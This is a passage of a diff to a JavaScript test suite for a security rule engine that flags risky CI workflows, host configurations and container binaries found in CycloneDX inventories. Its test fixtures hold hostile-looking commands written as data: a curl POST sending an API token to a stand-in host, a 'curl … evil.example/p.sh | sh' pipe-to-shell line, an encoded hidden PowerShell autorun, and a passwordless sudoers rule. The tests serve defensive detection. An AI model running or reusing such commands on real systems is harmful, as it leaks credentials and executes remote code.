[
|
|
571
|
+
{
|
|
572
|
+
type: "application",
|
|
573
|
+
name: "Post data",
|
|
574
|
+
"bom-ref": "workflow-step-3",
|
|
575
|
+
properties: [
|
|
576
|
+
{
|
|
577
|
+
name: "cdx:github:workflow:file",
|
|
578
|
+
value: ".github/workflows/release.yml",
|
|
579
|
+
},
|
|
580
|
+
{ name: "cdx:github:step:type", value: "run" },
|
|
581
|
+
{
|
|
582
|
+
name: "cdx:github:step:hasOutboundNetworkCommand",
|
|
583
|
+
value: "true",
|
|
584
|
+
},
|
|
585
|
+
{
|
|
586
|
+
name: "cdx:github:step:outboundNetworkTools",
|
|
587
|
+
value: "curl",
|
|
588
|
+
},
|
|
589
|
+
{
|
|
590
|
+
name: "cdx:github:step:referencesSensitiveContext",
|
|
591
|
+
value: "true",
|
|
592
|
+
},
|
|
593
|
+
{
|
|
594
|
+
name: "cdx:github:step:sensitiveContextRefs",
|
|
595
|
+
value: "env:API_TOKEN",
|
|
596
|
+
},
|
|
597
|
+
{
|
|
598
|
+
name: "cdx:github:step:likelyExfiltration",
|
|
599
|
+
value: "true",
|
|
600
|
+
},
|
|
601
|
+
{
|
|
602
|
+
name: "cdx:github:step:exfiltrationIndicators",
|
|
603
|
+
value: "auth-header,state-changing-method",
|
|
604
|
+
},
|
|
605
|
+
{
|
|
606
|
+
name: "cdx:github:step:command",
|
|
607
|
+
value:
|
|
608
|
+
'curl -X POST https://example.invalid/upload -H "Authorization: Bearer $API_TOKEN"',
|
|
609
|
+
},
|
|
610
|
+
],
|
|
611
|
+
},
|
|
612
|
+
],
|
|
613
|
+
);
|
|
614
|
+
|
|
615
|
+
const findings = await evaluateRule(rule, bom);
|
|
616
|
+
assert.ok(findings.length > 0, "Should detect likely exfiltration path");
|
|
617
|
+
assert.deepStrictEqual(findings[0].attackTechniques, ["T1048"]);
|
|
618
|
+
});
|
|
619
|
+
|
|
620
|
+
it("should detect privileged reusable workflows that accept caller secrets (CI-016)", async () => {
|
|
621
|
+
const rules = await loadRules(RULES_DIR);
|
|
622
|
+
const rule = rules.find((r) => r.id === "CI-016");
|
|
623
|
+
assert.ok(rule, "CI-016 rule should exist");
|
|
624
|
+
|
|
625
|
+
const bom = makeBom(
|
|
626
|
+
[],
|
|
627
|
+
[
|
|
628
|
+
{
|
|
629
|
+
"bom-ref": "workflow-call-release",
|
|
630
|
+
name: "Reusable workflow risky producer",
|
|
631
|
+
properties: [
|
|
632
|
+
{
|
|
633
|
+
name: "cdx:github:workflow:name",
|
|
634
|
+
value: "Reusable workflow risky producer",
|
|
635
|
+
},
|
|
636
|
+
{
|
|
637
|
+
name: "cdx:github:workflow:file",
|
|
638
|
+
value: ".github/workflows/reusable-release.yml",
|
|
639
|
+
},
|
|
640
|
+
{
|
|
641
|
+
name: "cdx:github:workflow:isWorkflowCallProducer",
|
|
642
|
+
value: "true",
|
|
643
|
+
},
|
|
644
|
+
{
|
|
645
|
+
name: "cdx:github:workflow:workflowCallSecrets",
|
|
646
|
+
value: "release_token",
|
|
647
|
+
},
|
|
648
|
+
{
|
|
649
|
+
name: "cdx:github:workflow:hasWritePermissions",
|
|
650
|
+
value: "true",
|
|
651
|
+
},
|
|
652
|
+
{
|
|
653
|
+
name: "cdx:github:workflow:writeScopes",
|
|
654
|
+
value: "contents",
|
|
655
|
+
},
|
|
656
|
+
],
|
|
657
|
+
},
|
|
658
|
+
],
|
|
659
|
+
);
|
|
660
|
+
|
|
661
|
+
const findings = await evaluateRule(rule, bom);
|
|
662
|
+
assert.ok(
|
|
663
|
+
findings.length > 0,
|
|
664
|
+
"Should detect privileged reusable workflow secrets interface",
|
|
665
|
+
);
|
|
666
|
+
assert.strictEqual(findings[0].severity, "high");
|
|
667
|
+
});
|
|
668
|
+
|
|
669
|
+
it("should detect privileged reusable workflows that export caller-influenced outputs (CI-017)", async () => {
|
|
670
|
+
const rules = await loadRules(RULES_DIR);
|
|
671
|
+
const rule = rules.find((r) => r.id === "CI-017");
|
|
672
|
+
assert.ok(rule, "CI-017 rule should exist");
|
|
673
|
+
|
|
674
|
+
const bom = makeBom(
|
|
675
|
+
[],
|
|
676
|
+
[
|
|
677
|
+
{
|
|
678
|
+
"bom-ref": "workflow-call-build",
|
|
679
|
+
name: "Reusable workflow risky producer",
|
|
680
|
+
properties: [
|
|
681
|
+
{
|
|
682
|
+
name: "cdx:github:workflow:name",
|
|
683
|
+
value: "Reusable workflow risky producer",
|
|
684
|
+
},
|
|
685
|
+
{
|
|
686
|
+
name: "cdx:github:workflow:file",
|
|
687
|
+
value: ".github/workflows/reusable-release.yml",
|
|
688
|
+
},
|
|
689
|
+
{
|
|
690
|
+
name: "cdx:github:workflow:isWorkflowCallProducer",
|
|
691
|
+
value: "true",
|
|
692
|
+
},
|
|
693
|
+
{
|
|
694
|
+
name: "cdx:github:workflow:workflowCallInputs",
|
|
695
|
+
value: "release_tag",
|
|
696
|
+
},
|
|
697
|
+
{
|
|
698
|
+
name: "cdx:github:workflow:workflowCallOutputs",
|
|
699
|
+
value: "image_tag",
|
|
700
|
+
},
|
|
701
|
+
{
|
|
702
|
+
name: "cdx:github:workflow:hasWritePermissions",
|
|
703
|
+
value: "true",
|
|
704
|
+
},
|
|
705
|
+
],
|
|
706
|
+
},
|
|
707
|
+
],
|
|
708
|
+
);
|
|
709
|
+
|
|
710
|
+
const findings = await evaluateRule(rule, bom);
|
|
711
|
+
assert.ok(
|
|
712
|
+
findings.length > 0,
|
|
713
|
+
"Should detect risky reusable workflow outputs interface",
|
|
714
|
+
);
|
|
715
|
+
assert.strictEqual(findings[0].severity, "medium");
|
|
716
|
+
});
|
|
717
|
+
|
|
718
|
+
it("should detect legacy token-based package publishing in workflows (CI-010)", async () => {
|
|
719
|
+
const rules = await loadRules(RULES_DIR);
|
|
720
|
+
const rule = rules.find((r) => r.id === "CI-010");
|
|
721
|
+
assert.ok(rule, "CI-010 rule should exist");
|
|
722
|
+
|
|
723
|
+
const bom = makeBom(
|
|
724
|
+
[],
|
|
725
|
+
[],
|
|
726
|
+
[
|
|
727
|
+
{
|
|
728
|
+
"bom-ref": "workflow-step-1",
|
|
729
|
+
name: "Publish npm",
|
|
730
|
+
properties: [
|
|
731
|
+
{
|
|
732
|
+
name: "cdx:github:workflow:file",
|
|
733
|
+
value: ".github/workflows/release.yml",
|
|
734
|
+
},
|
|
735
|
+
{ name: "cdx:github:step:isPublishCommand", value: "true" },
|
|
736
|
+
{ name: "cdx:github:step:publishEcosystem", value: "npm" },
|
|
737
|
+
{ name: "cdx:github:step:usesLegacyPublishToken", value: "true" },
|
|
738
|
+
{
|
|
739
|
+
name: "cdx:github:step:legacyPublishTokenSources",
|
|
740
|
+
value: "cli-flag,env:NPM_TOKEN",
|
|
741
|
+
},
|
|
742
|
+
{
|
|
743
|
+
name: "cdx:github:step:command",
|
|
744
|
+
value: "npm publish --token=$" + "{NPM_TOKEN}",
|
|
745
|
+
},
|
|
746
|
+
],
|
|
747
|
+
type: "application",
|
|
748
|
+
},
|
|
749
|
+
],
|
|
750
|
+
);
|
|
751
|
+
|
|
752
|
+
const findings = await evaluateRule(rule, bom);
|
|
753
|
+
assert.ok(findings.length > 0, "Should detect legacy publish token usage");
|
|
754
|
+
assert.strictEqual(findings[0].severity, "medium");
|
|
755
|
+
});
|
|
756
|
+
|
|
757
|
+
it("should detect hidden Unicode in README files (INT-008)", async () => {
|
|
758
|
+
const rules = await loadRules(RULES_DIR);
|
|
759
|
+
const rule = rules.find((r) => r.id === "INT-008");
|
|
760
|
+
assert.ok(rule, "INT-008 rule should exist");
|
|
761
|
+
|
|
762
|
+
const bom = makeBom(
|
|
763
|
+
[],
|
|
764
|
+
[],
|
|
765
|
+
[
|
|
766
|
+
{
|
|
767
|
+
"bom-ref": "file:README.md",
|
|
768
|
+
name: "README.md",
|
|
769
|
+
properties: [
|
|
770
|
+
{ name: "SrcFile", value: "README.md" },
|
|
771
|
+
{ name: "cdx:file:kind", value: "readme" },
|
|
772
|
+
{ name: "cdx:file:hasHiddenUnicode", value: "true" },
|
|
773
|
+
{ name: "cdx:file:hiddenUnicodeCodePoints", value: "U+200B" },
|
|
774
|
+
{ name: "cdx:file:hiddenUnicodeLineNumbers", value: "2" },
|
|
775
|
+
{ name: "cdx:file:hiddenUnicodeInComments", value: "true" },
|
|
776
|
+
],
|
|
777
|
+
type: "file",
|
|
778
|
+
},
|
|
779
|
+
],
|
|
780
|
+
);
|
|
781
|
+
|
|
782
|
+
const findings = await evaluateRule(rule, bom);
|
|
783
|
+
assert.ok(findings.length > 0, "Should detect hidden Unicode README");
|
|
784
|
+
assert.strictEqual(findings[0].severity, "medium");
|
|
785
|
+
});
|
|
786
|
+
|
|
787
|
+
it("should detect heuristic implicit-permissions risk for sensitive high-risk workflows (CI-021)", async () => {
|
|
788
|
+
const rules = await loadRules(RULES_DIR);
|
|
789
|
+
const rule = rules.find((r) => r.id === "CI-021");
|
|
790
|
+
assert.ok(rule, "CI-021 rule should exist");
|
|
791
|
+
|
|
792
|
+
const bom = makeBomFromWorkflowFixture(
|
|
793
|
+
"heuristic-implicit-permissions-sensitive.yml",
|
|
794
|
+
);
|
|
795
|
+
|
|
796
|
+
const findings = await evaluateRule(rule, bom);
|
|
797
|
+
assert.ok(
|
|
798
|
+
findings.length > 0,
|
|
799
|
+
"Should detect heuristic implicit-permissions risk",
|
|
800
|
+
);
|
|
801
|
+
assert.strictEqual(findings[0].severity, "medium");
|
|
802
|
+
assert.match(findings[0].message, /Heuristic review/);
|
|
803
|
+
});
|
|
804
|
+
|
|
805
|
+
it("should detect root authorized_keys without restrictions (OBOM-LNX-003)", async () => {
|
|
806
|
+
const rules = await loadRules(RULES_DIR);
|
|
807
|
+
const rule = rules.find((r) => r.id === "OBOM-LNX-003");
|
|
808
|
+
assert.ok(rule, "OBOM-LNX-003 rule should exist");
|
|
809
|
+
|
|
244
810
|
const bom = makeBom([
|
|
245
|
-
|
|
246
|
-
|
|
247
|
-
|
|
248
|
-
|
|
249
|
-
|
|
250
|
-
|
|
251
|
-
|
|
252
|
-
|
|
253
|
-
|
|
811
|
+
{
|
|
812
|
+
type: "data",
|
|
813
|
+
name: "root",
|
|
814
|
+
version: "ssh-rsa",
|
|
815
|
+
description: "",
|
|
816
|
+
purl: "pkg:swid/root-authorized-keys",
|
|
817
|
+
"bom-ref": "pkg:swid/root-authorized-keys",
|
|
818
|
+
properties: [
|
|
819
|
+
{ name: "cdx:osquery:category", value: "authorized_keys_snapshot" },
|
|
820
|
+
{ name: "key_file", value: "/root/.ssh/authorized_keys" },
|
|
821
|
+
{ name: "options", value: "" },
|
|
822
|
+
],
|
|
823
|
+
},
|
|
824
|
+
]);
|
|
825
|
+
|
|
826
|
+
const findings = await evaluateRule(rule, bom);
|
|
827
|
+
assert.ok(
|
|
828
|
+
findings.length > 0,
|
|
829
|
+
"Should detect unrestricted root authorized_keys entry",
|
|
830
|
+
);
|
|
831
|
+
assert.strictEqual(findings[0].severity, "medium");
|
|
832
|
+
});
|
|
833
|
+
|
|
834
|
+
it("should detect degraded Windows Security Center posture (OBOM-WIN-002)", async () => {
|
|
835
|
+
const rules = await loadRules(RULES_DIR);
|
|
836
|
+
const rule = rules.find((r) => r.id === "OBOM-WIN-002");
|
|
837
|
+
assert.ok(rule, "OBOM-WIN-002 rule should exist");
|
|
838
|
+
|
|
839
|
+
const bom = makeBom([
|
|
840
|
+
makeComponent("Poor", "Poor", [
|
|
841
|
+
["cdx:osquery:category", "windows_security_center"],
|
|
254
842
|
]),
|
|
255
843
|
]);
|
|
256
844
|
|
|
257
|
-
const
|
|
258
|
-
|
|
259
|
-
|
|
260
|
-
for (const f of ciOnly) {
|
|
261
|
-
assert.strictEqual(f.category, "ci-permission");
|
|
262
|
-
}
|
|
845
|
+
const findings = await evaluateRule(rule, bom);
|
|
846
|
+
assert.ok(findings.length > 0, "Should detect unhealthy security center");
|
|
847
|
+
assert.strictEqual(findings[0].severity, "high");
|
|
263
848
|
});
|
|
264
849
|
|
|
265
|
-
it("should
|
|
850
|
+
it("should detect suspicious Windows run key command (OBOM-WIN-003)", async () => {
|
|
851
|
+
const rules = await loadRules(RULES_DIR);
|
|
852
|
+
const rule = rules.find((r) => r.id === "OBOM-WIN-003");
|
|
853
|
+
assert.ok(rule, "OBOM-WIN-003 rule should exist");
|
|
854
|
+
|
|
266
855
|
const bom = makeBom([
|
|
267
|
-
|
|
268
|
-
|
|
269
|
-
|
|
270
|
-
|
|
271
|
-
|
|
856
|
+
{
|
|
857
|
+
type: "data",
|
|
858
|
+
name: "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Updater",
|
|
859
|
+
version: "",
|
|
860
|
+
description:
|
|
861
|
+
"powershell -enc SQBFAFgAIAAoAEkAbgB2AG8AawBlACkA -w hidden",
|
|
862
|
+
purl: "pkg:swid/windows-run-key-updater",
|
|
863
|
+
"bom-ref": "pkg:swid/windows-run-key-updater",
|
|
864
|
+
properties: [
|
|
865
|
+
{ name: "cdx:osquery:category", value: "windows_run_keys" },
|
|
866
|
+
],
|
|
867
|
+
},
|
|
868
|
+
]);
|
|
869
|
+
|
|
870
|
+
const findings = await evaluateRule(rule, bom);
|
|
871
|
+
assert.ok(findings.length > 0, "Should detect suspicious run key command");
|
|
872
|
+
assert.strictEqual(findings[0].severity, "critical");
|
|
873
|
+
});
|
|
874
|
+
|
|
875
|
+
it("should detect weak macOS ALF posture (OBOM-MAC-001)", async () => {
|
|
876
|
+
const rules = await loadRules(RULES_DIR);
|
|
877
|
+
const rule = rules.find((r) => r.id === "OBOM-MAC-001");
|
|
878
|
+
assert.ok(rule, "OBOM-MAC-001 rule should exist");
|
|
879
|
+
|
|
880
|
+
const bom = makeBom([
|
|
881
|
+
makeComponent("alf", "0", [
|
|
882
|
+
["cdx:osquery:category", "alf"],
|
|
883
|
+
["stealth_enabled", "0"],
|
|
272
884
|
]),
|
|
273
885
|
]);
|
|
274
886
|
|
|
275
|
-
const
|
|
276
|
-
|
|
277
|
-
|
|
278
|
-
|
|
279
|
-
|
|
280
|
-
|
|
887
|
+
const findings = await evaluateRule(rule, bom);
|
|
888
|
+
assert.ok(findings.length > 0, "Should detect weak firewall posture");
|
|
889
|
+
assert.strictEqual(findings[0].severity, "high");
|
|
890
|
+
});
|
|
891
|
+
|
|
892
|
+
it("should detect launchd temp-path persistence (OBOM-MAC-002)", async () => {
|
|
893
|
+
const rules = await loadRules(RULES_DIR);
|
|
894
|
+
const rule = rules.find((r) => r.id === "OBOM-MAC-002");
|
|
895
|
+
assert.ok(rule, "OBOM-MAC-002 rule should exist");
|
|
896
|
+
|
|
897
|
+
const bom = makeBom([
|
|
898
|
+
{
|
|
899
|
+
type: "data",
|
|
900
|
+
name: "com.bad.agent",
|
|
901
|
+
version: "",
|
|
902
|
+
description: "",
|
|
903
|
+
purl: "pkg:swid/mac-launchd-bad-agent",
|
|
904
|
+
"bom-ref": "pkg:swid/mac-launchd-bad-agent",
|
|
905
|
+
properties: [
|
|
906
|
+
{ name: "cdx:osquery:category", value: "launchd_services" },
|
|
907
|
+
{ name: "path", value: "/tmp/com.bad.agent.plist" },
|
|
908
|
+
{ name: "program", value: "/tmp/bad-agent" },
|
|
909
|
+
{ name: "run_at_load", value: "true" },
|
|
910
|
+
],
|
|
911
|
+
},
|
|
912
|
+
]);
|
|
913
|
+
|
|
914
|
+
const findings = await evaluateRule(rule, bom);
|
|
915
|
+
assert.ok(findings.length > 0, "Should detect suspicious launchd service");
|
|
916
|
+
assert.strictEqual(findings[0].severity, "critical");
|
|
917
|
+
});
|
|
918
|
+
|
|
919
|
+
it("should detect risky macOS ALF user path exception (OBOM-MAC-003)", async () => {
|
|
920
|
+
const rules = await loadRules(RULES_DIR);
|
|
921
|
+
const rule = rules.find((r) => r.id === "OBOM-MAC-003");
|
|
922
|
+
assert.ok(rule, "OBOM-MAC-003 rule should exist");
|
|
923
|
+
|
|
924
|
+
const bom = makeBom([
|
|
925
|
+
{
|
|
926
|
+
type: "data",
|
|
927
|
+
name: "/Users/alice/Downloads/remote-control.app",
|
|
928
|
+
version: "1",
|
|
929
|
+
description: "",
|
|
930
|
+
purl: "pkg:swid/mac-alf-exception",
|
|
931
|
+
"bom-ref": "pkg:swid/mac-alf-exception",
|
|
932
|
+
properties: [{ name: "cdx:osquery:category", value: "alf_exceptions" }],
|
|
933
|
+
},
|
|
934
|
+
]);
|
|
935
|
+
|
|
936
|
+
const findings = await evaluateRule(rule, bom);
|
|
937
|
+
assert.ok(findings.length > 0, "Should detect risky ALF exception path");
|
|
938
|
+
assert.strictEqual(findings[0].severity, "medium");
|
|
939
|
+
});
|
|
940
|
+
|
|
941
|
+
it("should detect broad sudoers rule (OBOM-LNX-002)", async () => {
|
|
942
|
+
const rules = await loadRules(RULES_DIR);
|
|
943
|
+
const rule = rules.find((r) => r.id === "OBOM-LNX-002");
|
|
944
|
+
assert.ok(rule, "OBOM-LNX-002 rule should exist");
|
|
945
|
+
|
|
946
|
+
const bom = makeBom([
|
|
947
|
+
{
|
|
948
|
+
type: "data",
|
|
949
|
+
name: "admin-policy",
|
|
950
|
+
version: "",
|
|
951
|
+
description: "admin ALL=(ALL) NOPASSWD:ALL",
|
|
952
|
+
purl: "pkg:swid/admin-policy",
|
|
953
|
+
"bom-ref": "pkg:swid/admin-policy",
|
|
954
|
+
properties: [
|
|
955
|
+
{ name: "cdx:osquery:category", value: "sudoers_snapshot" },
|
|
956
|
+
],
|
|
957
|
+
},
|
|
958
|
+
]);
|
|
959
|
+
|
|
960
|
+
const findings = await evaluateRule(rule, bom);
|
|
961
|
+
assert.ok(findings.length > 0, "Should detect broad sudoers policy");
|
|
962
|
+
assert.strictEqual(findings[0].severity, "high");
|
|
963
|
+
});
|
|
964
|
+
|
|
965
|
+
it("should detect ALL=(ALL) ALL sudoers rule (OBOM-LNX-002)", async () => {
|
|
966
|
+
const rules = await loadRules(RULES_DIR);
|
|
967
|
+
const rule = rules.find((r) => r.id === "OBOM-LNX-002");
|
|
968
|
+
assert.ok(rule, "OBOM-LNX-002 rule should exist");
|
|
969
|
+
|
|
970
|
+
const bom = makeBom([
|
|
971
|
+
{
|
|
972
|
+
type: "data",
|
|
973
|
+
name: "legacy-admin-policy",
|
|
974
|
+
version: "",
|
|
975
|
+
description: "admin ALL=(ALL) ALL",
|
|
976
|
+
purl: "pkg:swid/legacy-admin-policy",
|
|
977
|
+
"bom-ref": "pkg:swid/legacy-admin-policy",
|
|
978
|
+
properties: [
|
|
979
|
+
{ name: "cdx:osquery:category", value: "sudoers_snapshot" },
|
|
980
|
+
],
|
|
981
|
+
},
|
|
982
|
+
]);
|
|
983
|
+
|
|
984
|
+
const findings = await evaluateRule(rule, bom);
|
|
985
|
+
assert.ok(
|
|
986
|
+
findings.length > 0,
|
|
987
|
+
"Should detect ALL=(ALL) ALL sudoers policy",
|
|
988
|
+
);
|
|
989
|
+
assert.strictEqual(findings[0].severity, "high");
|
|
990
|
+
});
|
|
991
|
+
|
|
992
|
+
it("should detect suspicious shell history commands (OBOM-LNX-004)", async () => {
|
|
993
|
+
const rules = await loadRules(RULES_DIR);
|
|
994
|
+
const rule = rules.find((r) => r.id === "OBOM-LNX-004");
|
|
995
|
+
assert.ok(rule, "OBOM-LNX-004 rule should exist");
|
|
996
|
+
|
|
997
|
+
const bom = makeBom([
|
|
998
|
+
{
|
|
999
|
+
type: "data",
|
|
1000
|
+
name: "analyst",
|
|
1001
|
+
version: "",
|
|
1002
|
+
description: "curl http://evil.example/p.sh | sh",
|
|
1003
|
+
purl: "pkg:swid/analyst-shell-history",
|
|
1004
|
+
"bom-ref": "pkg:swid/analyst-shell-history",
|
|
1005
|
+
properties: [
|
|
1006
|
+
{ name: "cdx:osquery:category", value: "shell_history_snapshot" },
|
|
1007
|
+
{ name: "history_file", value: "/home/analyst/.bash_history" },
|
|
1008
|
+
],
|
|
1009
|
+
},
|
|
1010
|
+
]);
|
|
1011
|
+
|
|
1012
|
+
const findings = await evaluateRule(rule, bom);
|
|
1013
|
+
assert.ok(findings.length > 0, "Should detect suspicious shell history");
|
|
1014
|
+
assert.strictEqual(findings[0].severity, "high");
|
|
1015
|
+
});
|
|
1016
|
+
|
|
1017
|
+
it("should detect exposed docker daemon API (OBOM-LNX-005)", async () => {
|
|
1018
|
+
const rules = await loadRules(RULES_DIR);
|
|
1019
|
+
const rule = rules.find((r) => r.id === "OBOM-LNX-005");
|
|
1020
|
+
assert.ok(rule, "OBOM-LNX-005 rule should exist");
|
|
1021
|
+
|
|
1022
|
+
const bom = makeBom([
|
|
1023
|
+
makeComponent("dockerd", "2375", [
|
|
1024
|
+
["cdx:osquery:category", "listening_ports"],
|
|
1025
|
+
["address", "0.0.0.0"],
|
|
1026
|
+
["port", "2375"],
|
|
1027
|
+
["protocol", "6"],
|
|
1028
|
+
]),
|
|
1029
|
+
]);
|
|
1030
|
+
|
|
1031
|
+
const findings = await evaluateRule(rule, bom);
|
|
1032
|
+
assert.ok(findings.length > 0, "Should detect exposed docker daemon API");
|
|
1033
|
+
assert.strictEqual(findings[0].severity, "critical");
|
|
1034
|
+
});
|
|
1035
|
+
|
|
1036
|
+
it("should detect setuid GTFOBins execution primitive (CTR-001)", async () => {
|
|
1037
|
+
const rules = await loadRules(RULES_DIR);
|
|
1038
|
+
const rule = rules.find((r) => r.id === "CTR-001");
|
|
1039
|
+
assert.ok(rule, "CTR-001 rule should exist");
|
|
1040
|
+
|
|
1041
|
+
const bom = makeBom([
|
|
1042
|
+
{
|
|
1043
|
+
type: "file",
|
|
1044
|
+
name: "bash",
|
|
1045
|
+
version: "",
|
|
1046
|
+
description: "",
|
|
1047
|
+
purl: "pkg:generic/bash",
|
|
1048
|
+
"bom-ref": "pkg:generic/bash",
|
|
1049
|
+
properties: [
|
|
1050
|
+
{ name: "SrcFile", value: "/bin/bash" },
|
|
1051
|
+
{ name: "internal:has_setuid", value: "true" },
|
|
1052
|
+
{ name: "cdx:gtfobins:matched", value: "true" },
|
|
1053
|
+
{ name: "cdx:gtfobins:name", value: "bash" },
|
|
1054
|
+
{ name: "cdx:gtfobins:functions", value: "shell,command,upload" },
|
|
1055
|
+
{ name: "cdx:gtfobins:contexts", value: "unprivileged,sudo,suid" },
|
|
1056
|
+
{
|
|
1057
|
+
name: "cdx:gtfobins:riskTags",
|
|
1058
|
+
value: "data-exfiltration,lateral-movement,privilege-escalation",
|
|
1059
|
+
},
|
|
1060
|
+
{
|
|
1061
|
+
name: "cdx:gtfobins:reference",
|
|
1062
|
+
value: "https://gtfobins.github.io/gtfobins/bash/",
|
|
1063
|
+
},
|
|
1064
|
+
],
|
|
1065
|
+
},
|
|
1066
|
+
]);
|
|
1067
|
+
|
|
1068
|
+
const findings = await evaluateRule(rule, bom);
|
|
1069
|
+
assert.ok(findings.length > 0, "Should detect setuid GTFOBins primitive");
|
|
1070
|
+
assert.strictEqual(findings[0].severity, "critical");
|
|
1071
|
+
});
|
|
1072
|
+
|
|
1073
|
+
it("should detect privileged container-escape helper (CTR-002)", async () => {
|
|
1074
|
+
const rules = await loadRules(RULES_DIR);
|
|
1075
|
+
const rule = rules.find((r) => r.id === "CTR-002");
|
|
1076
|
+
assert.ok(rule, "CTR-002 rule should exist");
|
|
1077
|
+
|
|
1078
|
+
const bom = makeBom([
|
|
1079
|
+
{
|
|
1080
|
+
type: "file",
|
|
1081
|
+
name: "docker",
|
|
1082
|
+
version: "",
|
|
1083
|
+
description: "",
|
|
1084
|
+
purl: "pkg:generic/docker",
|
|
1085
|
+
"bom-ref": "pkg:generic/docker",
|
|
1086
|
+
properties: [
|
|
1087
|
+
{ name: "SrcFile", value: "/usr/bin/docker" },
|
|
1088
|
+
{ name: "cdx:gtfobins:matched", value: "true" },
|
|
1089
|
+
{ name: "cdx:gtfobins:name", value: "docker" },
|
|
1090
|
+
{ name: "cdx:gtfobins:functions", value: "shell,command" },
|
|
1091
|
+
{
|
|
1092
|
+
name: "cdx:gtfobins:privilegedContexts",
|
|
1093
|
+
value: "capabilities",
|
|
1094
|
+
},
|
|
1095
|
+
{ name: "cdx:gtfobins:riskTags", value: "container-escape" },
|
|
1096
|
+
],
|
|
1097
|
+
},
|
|
1098
|
+
]);
|
|
1099
|
+
|
|
1100
|
+
const findings = await evaluateRule(rule, bom);
|
|
1101
|
+
assert.ok(findings.length > 0, "Should detect privileged escape helper");
|
|
1102
|
+
assert.strictEqual(findings[0].severity, "critical");
|
|
1103
|
+
});
|
|
1104
|
+
|
|
1105
|
+
it("should detect privileged GTFOBins exfiltration primitive (CTR-004)", async () => {
|
|
1106
|
+
const rules = await loadRules(RULES_DIR);
|
|
1107
|
+
const rule = rules.find((r) => r.id === "CTR-004");
|
|
1108
|
+
assert.ok(rule, "CTR-004 rule should exist");
|
|
1109
|
+
|
|
1110
|
+
const bom = makeBom([
|
|
1111
|
+
{
|
|
1112
|
+
type: "file",
|
|
1113
|
+
name: "bash",
|
|
1114
|
+
version: "",
|
|
1115
|
+
description: "",
|
|
1116
|
+
purl: "pkg:generic/bash",
|
|
1117
|
+
"bom-ref": "pkg:generic/bash",
|
|
1118
|
+
properties: [
|
|
1119
|
+
{ name: "SrcFile", value: "/usr/bin/bash" },
|
|
1120
|
+
{ name: "internal:has_setgid", value: "true" },
|
|
1121
|
+
{ name: "cdx:gtfobins:matched", value: "true" },
|
|
1122
|
+
{ name: "cdx:gtfobins:name", value: "bash" },
|
|
1123
|
+
{ name: "cdx:gtfobins:functions", value: "shell,file-read,upload" },
|
|
1124
|
+
{ name: "cdx:gtfobins:privilegedContexts", value: "suid" },
|
|
1125
|
+
{
|
|
1126
|
+
name: "cdx:gtfobins:riskTags",
|
|
1127
|
+
value: "data-exfiltration,privilege-escalation",
|
|
1128
|
+
},
|
|
1129
|
+
],
|
|
1130
|
+
},
|
|
1131
|
+
]);
|
|
1132
|
+
|
|
1133
|
+
const findings = await evaluateRule(rule, bom);
|
|
1134
|
+
assert.ok(
|
|
1135
|
+
findings.length > 0,
|
|
1136
|
+
"Should detect privileged GTFOBins exfiltration helper",
|
|
1137
|
+
);
|
|
1138
|
+
assert.strictEqual(findings[0].severity, "high");
|
|
1139
|
+
});
|
|
1140
|
+
|
|
1141
|
+
it("should detect privileged GTFOBins library-load primitive (CTR-003)", async () => {
|
|
1142
|
+
const rules = await loadRules(RULES_DIR);
|
|
1143
|
+
const rule = rules.find((r) => r.id === "CTR-003");
|
|
1144
|
+
assert.ok(rule, "CTR-003 rule should exist");
|
|
1145
|
+
|
|
1146
|
+
const bom = makeBom([
|
|
1147
|
+
{
|
|
1148
|
+
type: "file",
|
|
1149
|
+
name: "bash",
|
|
1150
|
+
version: "",
|
|
1151
|
+
description: "",
|
|
1152
|
+
purl: "pkg:generic/bash",
|
|
1153
|
+
"bom-ref": "pkg:generic/bash",
|
|
1154
|
+
properties: [
|
|
1155
|
+
{ name: "SrcFile", value: "/bin/bash" },
|
|
1156
|
+
{ name: "cdx:gtfobins:matched", value: "true" },
|
|
1157
|
+
{ name: "cdx:gtfobins:name", value: "bash" },
|
|
1158
|
+
{
|
|
1159
|
+
name: "cdx:gtfobins:functions",
|
|
1160
|
+
value: "shell,library-load,privilege-escalation",
|
|
1161
|
+
},
|
|
1162
|
+
{
|
|
1163
|
+
name: "cdx:gtfobins:privilegedContexts",
|
|
1164
|
+
value: "sudo,suid",
|
|
1165
|
+
},
|
|
1166
|
+
],
|
|
1167
|
+
},
|
|
1168
|
+
]);
|
|
1169
|
+
|
|
1170
|
+
const findings = await evaluateRule(rule, bom);
|
|
1171
|
+
assert.ok(
|
|
1172
|
+
findings.length > 0,
|
|
1173
|
+
"Should detect privileged GTFOBins library-load helper",
|
|
1174
|
+
);
|
|
1175
|
+
assert.strictEqual(findings[0].severity, "high");
|
|
1176
|
+
});
|
|
1177
|
+
|
|
1178
|
+
it("should detect mutable-path GTFOBins remote execution helper (CTR-005)", async () => {
|
|
1179
|
+
const rules = await loadRules(RULES_DIR);
|
|
1180
|
+
const rule = rules.find((r) => r.id === "CTR-005");
|
|
1181
|
+
assert.ok(rule, "CTR-005 rule should exist");
|
|
1182
|
+
|
|
1183
|
+
const bom = makeBom([
|
|
1184
|
+
{
|
|
1185
|
+
type: "file",
|
|
1186
|
+
name: "bash",
|
|
1187
|
+
version: "",
|
|
1188
|
+
description: "",
|
|
1189
|
+
purl: "pkg:generic/bash",
|
|
1190
|
+
"bom-ref": "pkg:generic/bash",
|
|
1191
|
+
properties: [
|
|
1192
|
+
{ name: "SrcFile", value: "/usr/local/bin/bash" },
|
|
1193
|
+
{ name: "cdx:gtfobins:matched", value: "true" },
|
|
1194
|
+
{ name: "cdx:gtfobins:name", value: "bash" },
|
|
1195
|
+
{ name: "cdx:gtfobins:functions", value: "shell,upload,download" },
|
|
1196
|
+
{
|
|
1197
|
+
name: "cdx:gtfobins:riskTags",
|
|
1198
|
+
value: "data-exfiltration,lateral-movement",
|
|
1199
|
+
},
|
|
1200
|
+
],
|
|
1201
|
+
},
|
|
1202
|
+
]);
|
|
1203
|
+
|
|
1204
|
+
const findings = await evaluateRule(rule, bom);
|
|
1205
|
+
assert.ok(
|
|
1206
|
+
findings.length > 0,
|
|
1207
|
+
"Should detect mutable-path GTFOBins helper",
|
|
1208
|
+
);
|
|
1209
|
+
assert.strictEqual(findings[0].severity, "medium");
|
|
1210
|
+
});
|
|
1211
|
+
|
|
1212
|
+
it("should detect dedicated offensive container toolkits (CTR-006)", async () => {
|
|
1213
|
+
const rules = await loadRules(RULES_DIR);
|
|
1214
|
+
const rule = rules.find((r) => r.id === "CTR-006");
|
|
1215
|
+
assert.ok(rule, "CTR-006 rule should exist");
|
|
1216
|
+
